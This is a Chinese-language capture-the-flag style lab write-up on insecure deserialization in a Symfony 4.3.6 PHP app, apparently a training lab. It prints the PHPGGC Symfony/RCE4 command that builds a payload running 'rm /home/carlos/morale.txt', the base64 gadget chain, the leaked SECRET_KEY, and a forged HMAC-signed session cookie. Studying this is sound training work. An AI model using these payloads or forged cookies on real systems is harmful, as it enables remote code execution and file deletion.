# Insecure deserialization Lab6 本題是「基於序列化的 session cookie」機制,並用 簽章(HMAC) 保護,找出用的 PHP 框架,並用第三方工具產生可以執行 RCE 的「惡意序列化物件」,用從伺服器漏出的 `SECRET_KEY` 做出「合法簽章」的 Cookie,把這個 cookie 丟給網站 → 觸發 payload → 刪掉 /home/carlos/morale.txt。 一樣先進入網站並登入。  觀察 Cookie 一樣是 b64 編碼。   所以我們一樣嘗試改 Cookie 去看看,但這題會被擋下來,因為 Cookie 是用 SHA1 + HMAC 進行簽章的。  從錯誤訊息可以看到發現框架是:Symfony 4.3.6,但除此之外他這個網站進去時有洩漏 php 資訊。   往下滑就看到 SECRET_KEY(用來算簽章)。  ``` zyh9qtm9vmvk0omng776oy2s6xxkerbx ``` 這裡我們可以使用 PHPGGC 工具產生惡意物件,這個工具可以產生「框架專用的 gadget chain」,目的是讓你不需要自己寫 payload。  下載完後進去找我們去尋找目標: ``` ./phpggc -l | grep Symfony ``` - `./phpggc -l`:列出 PHPGGC 支援的所有 gadget chains(每一條都能產生反序列化 payload)。 - `grep Symfony`:只顯示裡面屬於 Symfony 框架 的 payload gadget。  透過搜尋結果可以發現 RCE4 最符合我們現在的狀況(版本號),所以我們拿去產生一個惡意的序列畫物件並用 b64 編碼。 ``` ./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64 -w0 ``` - `./phpggc`:執行 PHPGGC 工具 - `Symfony/RCE4`:使用 Symfony 的第 4 條 RCE gadget chain(支援 Symfony 4.3.6) - `exec 'rm /home/carlos/morale.txt'`:執行這個 shell 指令(刪除 Carlos 的 flag) - `-w0`:把輸出變單行  ``` Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg== ``` 接著要做 HMAC 簽章並產生合法 Cookie 時的核心腳本: 我們先導入剛剛產出的 b64 編碼(惡意物件),這是從 `PHPGGC + base64 -w0` 得到的 payload(即:反序列化物件),以 base64 字串 形式保存,這會作為 cookie 中的 "token" 欄位內容,不能 decode。  這是從 `/cgi-bin/phpinfo.php` 洩漏到的環境變數 `SECRET_KEY`,這個 key 是伺服器用來「簽名」session cookie 的。  使用 PHP 內建的 hash_hmac 函數進行簽章: - 演算法:SHA-1(題目已指定) - 資料:你的 $object(也就是 token) - 密鑰:伺服器使用的 $secretKey 結果就是合法的 sig_hmac_sha1 簽章。  把 payload 和簽章包成一個 JSON 格式 的結構。  最後全部合在一起:  再來我們把這個 php 變成可執行。  執行得到最後的結果。  ``` %7B%22token%22%3A%22Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg%3D%3D%22%2C%22sig_hmac_sha1%22%3A%22be9a22af6fe5e7be1016ba2e136864df7ce85637%22%7D ``` 這一串就是我們要放在 session 的內容,所以拿去改並完成本題,這就是利用 PHP 反序列化漏洞 + 簽章繞過,實現遠端程式執行(RCE)來刪除指定檔案。  ---
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up